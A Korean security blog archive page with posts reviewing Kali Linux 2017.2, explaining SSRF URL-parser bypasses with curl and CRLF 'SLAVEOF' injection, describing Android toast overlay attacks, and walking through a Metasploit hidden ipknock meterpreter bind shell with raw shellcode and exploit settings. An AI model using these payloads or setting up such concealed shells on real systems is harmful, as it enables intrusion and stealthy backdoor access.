9/26/2017

[HACKING] KALI Linux 2017.2 Release Review (무엇이 달라졌을까요?)

지난 주 수요일 Pentesting OS인 Kali Linux의 2017.2 버전이 Release 되었습니다. 중국에 있었던지라 이제야 소식을 접하게 되었네요. 간단하게 리뷰 들어갑니다.


달라진점 1 - Update tools

가장 먼저 눈에 띄는 변화는 툴의 추가입니다. 아무래도 Kali는 BlackArch 등 다른 침투테스트 OS에 비해 툴 선택에 있어 신중한 모습을 보입니다. 이번 업데이트에 포함된 대표적인 툴은 8가지 입니다. 간단하게 정리해봤어요.

hurl
 > 웹 기반 HTTP Request 툴 / Ruby base!
 > https://www.hurl.it/
 > https://github.com/twilio/hurl

phishery
 > 피싱관련 툴킷 / office 파일 위주
 > https://github.com/ryhanson/phishery

ssh-audit
 > ssh 정보/취약점 자동 분석
 > https://github.com/arthepsy/ssh-audit

apt2
 > Pentest toolkit
 > https://github.com/MooseDojo/apt2
 > https://youtu.be/94hk6bNwQfU


bloodhound
 > Pentest tookit
 > https://wald0.com/?p=68
 > https://github.com/BloodHoundAD/BloodHound
 > https://youtu.be/pKbN9_6zhKo

crackmapexec
 > Windows 공격도구(smb, cred)
 > https://github.com/byt3bl33d3r/CrackMapExec
 > smbmap, smbexec 등

dbeaver
 > 통합 DB 관리 툴
 > https://dbeaver.jkiss.org/docs/features/
 > http://lifeones.tistory.com/129
- MySQL,
- PostgreSQL
- SQLite
- Oracle
- DB2
- SQL Server
- Sybase
- Teradata
- MongoDB
- Cassandra
- Redis

brutespray
 > nmap 결과를 기반으로 bruteforce 수행
 > https://github.com/x90skysn3k/brutespray

달라진점 2 - Ongoing Integration Improvements

기존 Kali는 /usr/bin에 등록된 명령어와 아닌 명령어가 섞여있었습니다. 그래서 편한 사용을 위해선 bashrc(or profile) > alias 등록이던, /usr/bin 하위 등록이던 명령어 추가가 필요했습니다. 2017.2 버전부턴 모두 명령어 사용방식을 통일하여 ruby, python 같은 인터프리터 언어를 거치지 않고 명령 수행이 가능하도록 바뀌었습니다.

기존
#> python sqlmap.py -u "http://127.0.0.1/sql.php?q=abc" --dbs --no-cast --level 4 --risk 3

Kali 2017.2
#> sqlmap -u "http://127.0.0.1/sql.php?q=abc" --dbs --no-cast --level 4 --risk 3

How to Upgrade?

다른 Linux major 업그레이드와 동일하게 apt를 최신으로 업데이트 한 후 배포판 업그레이드를 진행해주시면 됩니다.

#> apt update
#> apt dist-upgrade

Conclusion

개인적으론 Debian을 사용하지만 Kali는 참 매력적인 OS입니다. 이번 업데이트로 불편했던점들이 개선되고 좋은 툴들이 기본 사항으로 내장되어 좋네요. 이번 릴리즈 배포 또한 Pentester에게 아주 좋은 소식으로 보입니다.

조만간 해킹/보안 관련 리눅스 정리해서 포스팅 올릴까 합니다.
(Noon 시절에 리눅스 배포판 관련 포스팅때도 새로 알아가는게 많아 즐거웠는데, 이번에도 그럴까 싶어 기대가 되네요)

마지막으로 홍보영상과 함께 마무리하도록 하죠.




Reference

https://www.kali.org/news/kali-linux-2017-2-release/
https://www.kali.org/news/kali-linux-20171-release/
Share: | Coffee Me:

9/14/2017

[WEB HACKING] New attack vectors in SSRF(Server-Side Request Forgery) with URL Parser

Blackhat 2017 USA 자료를 보던 중 하나 흥미로운 발표 자료를 보게되었습니다.
읽고 테스트해보니.. 실무에서 바로 쓸 수 있을정도의 기법이더군요.

오늘은 URL Parser의 문제를 이용한 SSRF 우회기법에 대한 이야기를 하려합니다.

시간나시면 꼭 읽어보세요.
https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf


What is SSRF

SSRF는 Server-side Request Forgery의 약자로 CSRF와 유사하지만 클라이언트가 아닌 서버가 직접 호출해서 발생하는 문제입니다. 이를 통해서 외부에서 내부망에 대한 접근이나 스캔, 각종 보안장비를 넘어갈 수 있는 중요한 키 포인트죠.

물론 저도 굉장히 좋아하고 잘 애용하는 공격기법 중 하나입니다.

먼저 원리를 간단하게 설명드리면 사용자 입력을 받아 서버가 직접 다른 웹이나 포트에 직접 접근해서 데이터를 가져오는 기능들에서 주로 발생합니다. 별로 없을 것 같은 기능이지만 실제로 굉장히 많이 쓰이고 있는 기능이며 한때는 OWASP Top 10에도 올라왔었을만큼 인기있는 공격기법이였습니다.

프리뷰를 보는 페이지가 있다고 가정하고, 이에 따른 정상적인 요청은 아래와 같을겁니다.

showPreview.php?url=www.hahwul.com/[유저의입력]

공격자는 아래와 같은 형태로 공격을 수행하겠지요.

showPreview.php?url=192.168.56.101/server-status#[내부망의 주소를 호출]

대체로 이에대한 대응을 도메인에 대한 검증 로직을 추가하는데 단순 문자열 검증이 아닌 실제 도메인을 검증하는 로직이 들어가야하지만, 성능 이슈 및 여러가지 이유로 문자열 검증만 적용된 곳을 많이 보았습니다. 이런 경우 아래와 같은 형태로 우회를 시도하지요.

패턴: google.com 만 허용하는 경우

url=google.com.hahwul.com
url=www.hahwul.com#google.com
url=www.hahwul.com?google.com
url=www.hahwul.com/google.com

단순 문자열 검증의 경우 google.com으로 검증해도 다 www.hahwul.com으로 넘어갑니다. 이는 공격자가 테스트하며 규칙을 파악하면 할수록 여러 우회패턴들이 발생할겁니다.

URL Parser들의 Pasing 방법

오늘 기법을 알아가기 전에 먼저 각 언어별 URL Parser에 대한 동작 방식을 알아야 이해가 쉽습니다.

RFC3986 기준으로 URL의 컴포넌트를 보면 아래와 같습니다.


맨 앞부분 프로토콜 명시부분이 스키마, 그 뒤로 Authority, Path 등등 나뉘어져 있죠. 각 언어들에는 URL을 분석하는 Parser가 존재합니다. 해당 언어로 만들어진 웹 서버나 서비스는 당연히 그 Parser를 이용해서 요청에 대해 분석하게 됩니다.

제 a2sv 코드만 봐도..

import socket
import datetime
from urlparse import urlparse
sys.path.append(os.path.dirname( os.path.abspath( __file__ ))+"/module")
from M_ccsinjection import *
from M_heartbleed import *
..snip..

보편적인 루비 코드를 봐도..

require 'uri'
uri = URI.parse('http://www.hahwul.com')

쉽게 사용하고 있지요.

재미있는점은 이 Parser 들이 URL을 분석하는 과정이 약간씩 다른다는 점입니다.
Parser 또한 완벽하지 않기 때문에 모든 사용자의 입력을 예상할 순 없었습니다.

각 Parser의 헛점을 보고 새로운 공격 벡터에 대해 도출이 가능한것이구요.

그럼 어떤 케이스들이 있는지 한번 봐볼까요?

SSRF with URL Parser 1(@) feat cURL

눈치가 빠르시면 벌써 눈치채셨을겁니다. URL Parser들이 URL을 분리하는 부분이 다르기 때문에 특정 부분들은 다시 도메인으로 인지시킬 수 있습니다. curl을 통해서 쉽게 테스트해보죠.

#> curl http://google.com:80@192.168.56.88/asd
<html>
<head><title>404 Not Found</title></head>
<body bgcolor="white">
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.10.3 (Ubuntu)</center>
</body>
</html>

제 PC에서 로그를 찍어보면..

#> tail -f /var/log/nginx/access.log
...snip...
192.168.56.88 - google.com [14/Sep/2017:21:52:39 +0900] "GET /asd HTTP/1.1" 404 178 "-" "curl/7.47.0"

google로 넘어가지 않고 제 PC로 넘어오네요. 왜그럴까요?

curl은 @를 기준으로 우측을 도메인으로 사용합니다. 메일주소를 생각해보시면 좋아요. 웹에서 인지하기에는 google.com으로 끊어졌지만, 내부 curl로 넘어오는 순간 오른쪽 부분을 도메인으로 보고 호출하게 됩니다.

자세히 봐볼까요?

#> curl http://127.0.0.1:80@www.hahwul.com/ -vvv
*   Trying 172.217.27.83...
* Connected to www.hahwul.com (172.217.27.83) port 80 (#0)
* Server auth using Basic with user '127.0.0.1'
> GET / HTTP/1.1
> Host: www.hahwul.com
> Authorization: Basic MTI3LjAuMC4xOjgw
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: text/html; charset=UTF-8
< Expires: Thu, 14 Sep 2017 09:13:58 GMT
< Date: Thu, 14 Sep 2017 09:13:58 GMT
< Cache-Control: private, max-age=0
< Last-Modified: Wed, 13 Sep 2017 09:46:02 GMT
< X-Content-Type-Options: nosniff
< X-XSS-Protection: 1; mode=block
< Server: GSE
< Accept-Ranges: none
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
<
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html dir='ltr' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='http://www.google.com/2005/gml/expr'>
<meta content='d4986be22243d7f708c06d564940aa7596bd1d5a' name='naver-site-verification'/>
<meta content='d8t7vl5Q1RHssQjDEFa3gH-nI246dsWWZU3bdIx99ig' name='google-site-verification'/>
<head>
<link href='https://www.blogger.com/static/v1/widgets/3730162741-widget_css_bundle.css' rel='stylesheet' type='text/css'/>
<title>HAHWUL :: 하훌</title>

localhost로 데이터를 호출했지만 curl은 www.hahwul.com 을 쿼리하고 기존 도메인을 계정으로 인지하여 Authorization으로 넘겨줍니다. 그래서 www.hahwul.com 으로 요청이 넘어가고 응답값을 받아오지요.

SSRF with URL Parser 2(개행문자) feat cURL

두번째 방법은 개행문자를 이용한 방법입니다. 개행문자로 SLAVEOF로 www.hahwul.com을 호출했을 때 어떤일들이 일어나는지 보도록 하죠.

#> curl http://127.0.0.1:80\r\rnSLAVEOF www.hahwul.com -vvv
* Rebuilt URL to: http://127.0.0.1:80rrnSLAVEOF/
*   Trying 127.0.0.1...
* Connected to 127.0.0.1 (127.0.0.1) port 80 (#0)
> GET / HTTP/1.1
> Host: 127.0.0.1
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.10.3 (Ubuntu)
< Date: Thu, 14 Sep 2017 09:16:07 GMT
< Content-Type: text/html
< Content-Length: 11321
< Last-Modified: Fri, 11 Nov 2016 10:47:50 GMT
< Connection: keep-alive
< ETag: "5825a1d6-2c39"
< Accept-Ranges: bytes
<

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
  <!--
    Modified from the Debian original for Ubuntu
    Last updated: 2014-03-19
    See: https://launchpad.net/bugs/1288690

..snip...


      </div>
    </div>
    <div class="validator">
    </div>
  </body>
</html>

* Connection #0 to host 127.0.0.1 left intact
* Rebuilt URL to: www.hahwul.com/
*   Trying 216.58.220.243...
* Connected to www.hahwul.com (216.58.220.243) port 80 (#1)
> GET / HTTP/1.1
> Host: www.hahwul.com
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: text/html; charset=UTF-8
< Expires: Thu, 14 Sep 2017 09:16:07 GMT
< Date: Thu, 14 Sep 2017 09:16:07 GMT
< Cache-Control: private, max-age=0
< Last-Modified: Wed, 13 Sep 2017 09:46:02 GMT
< X-Content-Type-Options: nosniff
< X-XSS-Protection: 1; mode=block
< Server: GSE
< Accept-Ranges: none
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
<
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html dir='ltr' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='http://www.google.com/2005/gml/expr'>
<meta content='d4986be22243d7f708c06d564940aa7596bd1d5a' name='naver-site-verification'/>
<meta content='d8t7vl5Q1RHssQjDEFa3gH-nI246dsWWZU3bdIx99ig' name='google-site-verification'/>
<head>
<link href='https://www.blogger.com/static/v1/widgets/3730162741-widget_css_bundle.css' rel='stylesheet' type='text/css'/>
<title>HAHWUL :: 하훌</title>


SSRF with URL Parser 3(CR-LF %0d%0a) feat cURL


2번과 거의 동일합니다만 단순하게 CR과LF를 이용한 방법입니다. \r\n과 따지고보면 같지만 표기하는 방식이 달라 분리했습니다.

#> curl http://127.0.0.1:80%0d%0aSLAVEOF www.hahwul.com -vvv
* Rebuilt URL to: http://127.0.0.1:80%0d%0aSLAVEOF/
*   Trying 127.0.0.1...
* Connected to 127.0.0.1 (127.0.0.1) port 80 (#0)
> GET / HTTP/1.1
> Host: 127.0.0.1
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.10.3 (Ubuntu)
< Date: Thu, 14 Sep 2017 09:42:25 GMT
< Content-Type: text/html
< Content-Length: 11321
< Last-Modified: Fri, 11 Nov 2016 10:47:50 GMT
< Connection: keep-alive
< ETag: "5825a1d6-2c39"
< Accept-Ranges: bytes
<

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
  <!--
    Modified from the Debian original for Ubuntu
    Last updated: 2014-03-19

..snip..

    </div>
    <div class="validator">
    </div>
  </body>
</html>

* Connection #0 to host 127.0.0.1 left intact
* Rebuilt URL to: www.hahwul.com/
*   Trying 172.217.25.211...
* Connected to www.hahwul.com (172.217.25.211) port 80 (#1)
> GET / HTTP/1.1
> Host: www.hahwul.com
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: text/html; charset=UTF-8
< Expires: Thu, 14 Sep 2017 09:42:25 GMT
< Date: Thu, 14 Sep 2017 09:42:25 GMT
< Cache-Control: private, max-age=0
< Last-Modified: Wed, 13 Sep 2017 09:46:02 GMT
< X-Content-Type-Options: nosniff
< X-XSS-Protection: 1; mode=block
< Server: GSE
< Accept-Ranges: none
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
<
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html dir='ltr' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='http://www.google.com/2005/gml/expr'>
<meta content='d4986be22243d7f708c06d564940aa7596bd1d5a' name='naver-site-verification'/>
<meta content='d8t7vl5Q1RHssQjDEFa3gH-nI246dsWWZU3bdIx99ig' name='google-site-verification'/>
<head>
<link href='https://www.blogger.com/static/v1/widgets/3730162741-widget_css_bundle.css' rel='stylesheet' type='text/css'/>
<title>HAHWUL :: 하훌</title>

이친구도 동일하게 잘 넘어가네요.

Conclusion

해당 Blackhat 문서가 SSRF를 하는데 있어 아주 좋은 발표자료였다고 봅니다. URL Parser에 대한 규칙을 찾고 새로운 공격벡터를 이끌어냈다는 점에서 굉장히 매력적으로 보이네요.

저는 원리에 대해 쉽게(?) 설명드리기 위해 curl로 단편적으로 이야기드렸지만 python, ruby, nodejs, php 등등 각각 언어에서 사용하는 Parser의 규칙에 따라 정말 많은 방법의 공격코드들이 나올 것으로 생각됩니다.

아래는 각 Parser 별 취약한 공격에 대해 정리된 이미지입니다.

https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

마지막으로.. 해당 기법으로 발표자는 github 기업용 버전에 취약점을 찾아 $12,500을 상금으로 받았다고 하네요. 관련해서 영상으로 demo 시연한게 있으니 구경가시죠.


Reference

https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf
https://tools.ietf.org/html/rfc3986
Share: | Coffee Me:

9/12/2017

[HACKING] Android Cloak & Dagger Attack과 Toast Overlay Attack(CVE-2017-0752)

오늘은 최근 말이 많았었던 Android 취약점 2가지에 대한 이야기를 할까 합니다.
바로 Cloak & Dagger Attack 과 Toast Overlay Attack 입니다.

직접 앱으로 만들어서 보여드릴까 하다가.. 그냥 가볍게 포스팅해봅니다.
(사실 안드로이드 안만든지 너무 오래됨.. | 심지어 대학생때에도 난 서버담당..)


What is Cloak & Dagger Attack?

먼저 Cloak & Dagger부터 보면 최근 안드로이드의 새로운 공격 벡터로 나타나 기법입니다.
엄청 독특하다기 보단 사용자를 낚는 고전적인 방법이긴 하나 적당한 공격 환경이 갖춰졌을 때 권한 탈취가 가능하기 때문에 중요하게 봐야합니다.

관련해서 black 2017에서도 이야기 나왔으니 참고해주세요.
https://www.blackhat.com/docs/us-17/thursday/us-17-Fratantonio-Cloak-And-Dagger-From-Two-Permissions-To-Complete-Control-Of-The-UI-Feedback-Loop.pdf

Cloak & Dagger 공격은 악성앱이 다른 앱들이 실행될 때 가짜 팝업(업데이트하세요, 새로운 뭐가 나왔어요, 권한 요청)을 띄어서 현혹시켜 권한을 얻어오는 등의 행위를 수행할 수 있습니다.

다만.. 조건이 필요한데요.

 - 공식 앱 설치 경로(플레이스토어, 원스토어 등)에 올라가야 함(신뢰성을 얻기 위해)
 - 앱에서 최상단에 팝업을 띄울 수 있는 옵션이 활성화되어야 함

여기서 두번째로 언급드린 팝업 활성화에 대한 옵션이 아주 중요합니다. 저 옵션이 켜져있지 않다면 공격 자체가 불가능해지죠. (왜냐면 팝업을 맨위로 못올리니깐 / 그 위에 실행한 다른 앱이 올라가니깐)

여기서 필요한 권한은 2가지 입니다.

SYSTEM_ALERT_WINDOW ("draw on top")
BIND_ACCESSIBILITY_SERVICE ("a11y")


blackhat 2017 자료 중 일부
SYSTEM_ALERT_WINDOW는 시스템에서 팝업을 위로 올릴 수 있는 오버레이 기능이고 BIND_ACCESSIBILITY_SERVICE는 스크린 읽기에 대한 접근성 권한입니다. 이 친구들은 다른 앱보다 최상단으로 올라갈 수 있기 때문에 가짜 페이지나 팝업들을 마치 다른 앱이 실행한 것 처럼 보여줄 수 있죠.

여러가지 공격 시나리오가 있을 것 같습니다. 대표적으론 클릭재킹 , 입력값 탈취, 피싱 등 사용자의 액션을 이용한 공격 케이스들이 있을 것으로 생각됩니다.

정보 탈취성 공격도 중요하지만, 사용자의 액션을 통해 권한을 얻어갈 수 있다는게 중요하다고 보입니다.


What is Toast?

Android 개발을 해보신분이라면.. 아니 관심있으시다면 바로 아실것이고, 안드로이드 사용자라면 내용을 보고 "아!" 하실겁니다. Toast는 Android에서 메시지를 전달하는 방식 중 하나입니다. 메시지라고 하면 폰이 사용자에게 정보를 주는 수단이고, 팝업 창과 비슷한 개념으로 보시면 됩니다.

바로..


요런거지요.


https://i.stack.imgur.com/RYpeP.png / Message saved as draft. 부분!


Toast overlay attack


Toast를 사용하기 위해선 TYPE_TOAST를 사용해야합니다. 다만 TYPE_TOAST에는 재미있는 부분이 있는데..

권한검사를 제대로 하지 않는다는거죠.

팔로알토 분석가들이 Cloak & Dagger 에 대해 분석해서 얻어낸 결과물이라고 하네요.

일반적으로 다른 앱 위에 화면을 씌우기 위해선 권한이 필요합니다. 그래서 PhoneWindowManager에서도 권한 체크를 통해 제어하는데, TYPE_TOAST의 경우 권한 체크가 빠져있습니다.

아래 코드는 안드로이드의 정책 관련 모듈인 PhoneWindowManager.java 파일입니다. 보시죠.
(https://android.googlesource.com/platform/frameworks/base/+/cd92588/policy/src/com/android/internal/policy/impl/PhoneWindowManager.java)



 public int checkAddPermission(WindowManager.LayoutParams attrs, int[] outAppOp) {
        int type = attrs.type;
        outAppOp[0] = AppOpsManager.OP_NONE;
        if (type < WindowManager.LayoutParams.FIRST_SYSTEM_WINDOW
                || type > WindowManager.LayoutParams.LAST_SYSTEM_WINDOW) {
            return WindowManagerGlobal.ADD_OKAY;
        }
        String permission = null;
        switch (type) {
            case TYPE_TOAST:
                // XXX right now the app process has complete control over
                // this...  should introduce a token to let the system
                // monitor/control what they are doing.
                // 아무것도 검사하지 않음
                break;
            case TYPE_DREAM:
            case TYPE_INPUT_METHOD:
            case TYPE_WALLPAPER:
            case TYPE_PRIVATE_PRESENTATION:
                // The window manager will check these.
                break;
            case TYPE_PHONE:
            case TYPE_PRIORITY_PHONE:
            case TYPE_SYSTEM_ALERT:
            case TYPE_SYSTEM_ERROR:
            case TYPE_SYSTEM_OVERLAY:
                permission = android.Manifest.permission.SYSTEM_ALERT_WINDOW; // 권한 체크
                outAppOp[0] = AppOpsManager.OP_SYSTEM_ALERT_WINDOW; // 실행여부 확인
                break;
            default:
                permission = android.Manifest.permission.INTERNAL_SYSTEM_WINDOW;
        }
        if (permission != null) {
            if (mContext.checkCallingOrSelfPermission(permission)
                    != PackageManager.PERMISSION_GRANTED) {
                return WindowManagerGlobal.ADD_PERMISSION_DENIED;
            }
        }
        return WindowManagerGlobal.ADD_OKAY;
    }

checkAddPermission 함수 내용을 보시면 case가 TYPE_TOAST의 경우 권한 체크를 하지 않습니다.

case TYPE_TOAST:
    // 아무것도 검사하지 않음
break;

똑같이 다른 앱에 덮씌우는 TYPE_SYSTEM_OVERLAY를 보면 퍼미션 검사와 실행여부 검사를 수행합니다.

case TYPE_SYSTEM_OVERLAY:
                permission = android.Manifest.permission.SYSTEM_ALERT_WINDOW; // 권한 체크
                outAppOp[0] = AppOpsManager.OP_SYSTEM_ALERT_WINDOW; // 실행여부 확인

다만 TYPE_TOAST 또한 실행 시 창으로 인식되고 화면을 덮을 수 있습니다. 그럼 권한을 사용하지 않고 Cloak & Dagger Attack이 가능하겠지요?!

마지막으로 blackhat 2017 영상으로 마무리합니다.


Reference

https://researchcenter.paloaltonetworks.com/2017/09/unit42-android-toast-overlay-attack-cloak-and-dagger-with-no-permissions/#table
https://www.blackhat.com/docs/us-17/thursday/us-17-Fratantonio-Cloak-And-Dagger-From-Two-Permissions-To-Complete-Control-Of-The-UI-Feedback-Loop.pdf
Share: | Coffee Me:

9/09/2017

[METASPLOIT] do you want to build a snowman? ipknock를 이용한 hidden meterpreter shell(knock knock)

metasploit에서 payload에 대해 찾아보던 중 ipknock에 대한 내용을 보게되었습니다.

Matching Modules
================

   Name                                                        Disclosure Date  Rank    Description
   ----                                                        ---------------  ----    -----------
   payload/windows/dllinject/bind_hidden_ipknock_tcp                            normal  Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
   payload/windows/meterpreter/bind_hidden_ipknock_tcp                          normal  Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
   payload/windows/patchupdllinject/bind_hidden_ipknock_tcp                     normal  Windows Inject DLL, Hidden Bind Ipknock TCP Stager
   payload/windows/patchupmeterpreter/bind_hidden_ipknock_tcp                   normal  Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager
   payload/windows/shell/bind_hidden_ipknock_tcp                                normal  Windows Command Shell, Hidden Bind Ipknock TCP Stager
   payload/windows/upexec/bind_hidden_ipknock_tcp                               normal  Windows Upload/Execute, Hidden Bind Ipknock TCP Stager
   payload/windows/vncinject/bind_hidden_ipknock_tcp                            normal  VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager

찾아보니 오래전부터 있던 기능이였는데, 잘 활용하면 재미있는 놀거리가 되겠더군요.

오늘은 ipknock을 이용한 meterperter shell 사용과 그 원리에 대해 이야기할까 합니다.


What is ipknock?

Ipknock TCP Stager를 의미하며 이는 특정 IP에서 knock(노크)가 있어야만 쉘을 사용할 수 있게 구성된 payload 입니다.
Metasploit에서 Socket 통신 시 Closed로 나타낼 수 있어 쉘을 숨길 수 있지요.

이전에 paranoid mode 글과 같이 쉘을 안전하게 사용하기 위한 방법 중 하나이지요.
(http://www.hahwul.com/2016/07/metasploit-meterpreter-paranoid-mode.html)

비슷한 개념으론 Port knocking이 있습니다. 이는 listen중인 closed 포트를 두고 특정 순서의 요청(노크)가 발생했을 때 정상 정상 연결을 허용해주죠. 방화벽 기능에서도 비슷한게 있는것으로 알고있습니다. 자세한 내용은 아래 링크 참고해주세요.

https://wiki.archlinux.org/index.php/Port_knocking

다시 본론으로 와서 동작 형태를 보면 ipknock payload는 exploit에 의해 실행되면 서비스에 기생하며 대기하고 있습니다.
(백도어로 동작시킬 때 더 유용할 것 같네요)

대기중에 knock ip 로 지정한 ip에서 패킷을 수신해야만 기존에 지정한 meterpreter shell이 열리게 됩니다.
고로 패킷 수신전까지는 클라이언트 환경에서도 숨길 수 있고 bind 쉘을 경우 다른 공격자에 의해 발각될 확률 또한 확실히 줄여줍니다.

refer: i41.tinypic.com   / do you wanna build a bind shell?

Code analysis

사실 ruby 코드 자체는 별다른게 없습니다.

https://raw.githubusercontent.com/rapid7/metasploit-framework/12198a088132f047e0a86724bc5ebba92a73ac66/modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb

      'Handler'       => Msf::Handler::BindTcp,
      'Convention'    => 'sockedi',
      'Stager'        =>
        {
          'RequiresMidstager' => false,
          'Offsets' =>
            {
              'LPORT'    => [ 193, 'n' ],
              'KHOST'    => [ 255, 'ADDR' ]
            },
          'Payload' =>
            # Length: 359 bytes
            "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b" +
            "\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c" +
            "\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52" +
            "\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20" +
            "\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac" +
            "\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75" +
            "\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" +
            "\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff" +
            "\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77" +
            "\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00" +
            "\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40" +
            "\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x31\xdb\x53\x68\x02" +
            "\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5" +
            "\x6a\x01\x54\x68\x02\x30\x00\x00\x68\xff\xff\x00\x00\x57\x68\xf1" +
            "\xa2\x77\x29\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5\x53\xe8" +
            "\x1a\x00\x00\x00\x8b\x44\x24\x04\x8b\x40\x04\x8b\x40\x04\x2d\xc0" +
            "\xa8\x01\x21\x74\x03\x31\xc0\x40\x89\x45\x54\xc2\x20\x00\x53\x53" +
            "\x57\x68\x94\xac\xbe\x33\xff\xd5\x83\x7c\x24\x04\x00\x75\xcf\x40" +
            "\x75\x06\x53\x53\xeb\xe8\x74\xc6\x48\x57\x97\x68\x75\x6e\x4d\x61" +
            "\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b" +
            "\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5" +
            "\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5" +
            "\x01\xc3\x29\xc6\x75\xee\xc3"
        }
      ))

payload를 전달해줄뿐이니깐요.. 이제 이 payload 가 굉장히 중요해지는데요, 아래 링크의 asm 파일로 행위를 볼 수 있습니다. 심지어 주석도 잘 되어있어서 딱 보면 아하 하실거에요.

https://raw.githubusercontent.com/rapid7/metasploit-framework/master/external/source/shellcode/windows/x86/src/block/block_hidden_bind_ipknock.asm

asm 코드를 보면 초기에 socket을 bind 한 후 아래 구간에서 검증을 진행하게 됩니다. KHOST로 지정한 IP가 맞는지 여부 확인 후 실제 쉘이 동작하는 socket으로 전환하죠.

초기 소켓 생성 구간

KHOST가 지정된 ip가 맞는지 검증

쉘 연결

ipknock payload를 이용하여 meterpreter shell 사용하기

ipknock로 검색하시면 여러개 나옵니다. 전 그 중에 meterpreter shell의 Hidden Bind Ipknock TCP Stager를 사용하도록 하죠.

일단 먼저 사용할 Exploit 부터 고르고..

HAHWUL > use exploit/windows/http/easyfilesharing_post 
HAHWUL exploit(easyfilesharing_post) > set RHOST 192.168.56.101
RHOST => 192.168.56.101

ipknock payload를 지정합니다.

HAHWUL exploit(easyfilesharing_post) > set PAYLOAD windows/meterpreter/bind_hidden_ipknock_tcp
PAYLOAD => windows/meterpreter/bind_hidden_ipknock_tcp

옵션을 보면 기존 payload 와 유사하지만 몇가지 항목이 더 있는 걸 알 수 있습니다.
옵션 중 KHOST는 knock를 받을 ip 주소입니다. KHOST로 부터 패킷 수신이 일어나야 쉘이 동작하게 됩니다.

HAHWUL exploit(easyfilesharing_post) > show options

Module options (exploit/windows/http/easyfilesharing_post):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  192.168.56.101   yes       The target address
   RPORT  80               yes       The target port (TCP)


Payload options (windows/meterpreter/bind_hidden_ipknock_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   KHOST                      yes       IP address allowed
   LPORT     4444             yes       The listen port
   RHOST     192.168.56.101   no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Easy File Sharing 7.2 HTTP

여기서 KHOST는 본인이 소유한 IP가 아니여도 사용이 가능합니다. IP Spoofing을 이용하면 아주 쉽죠.
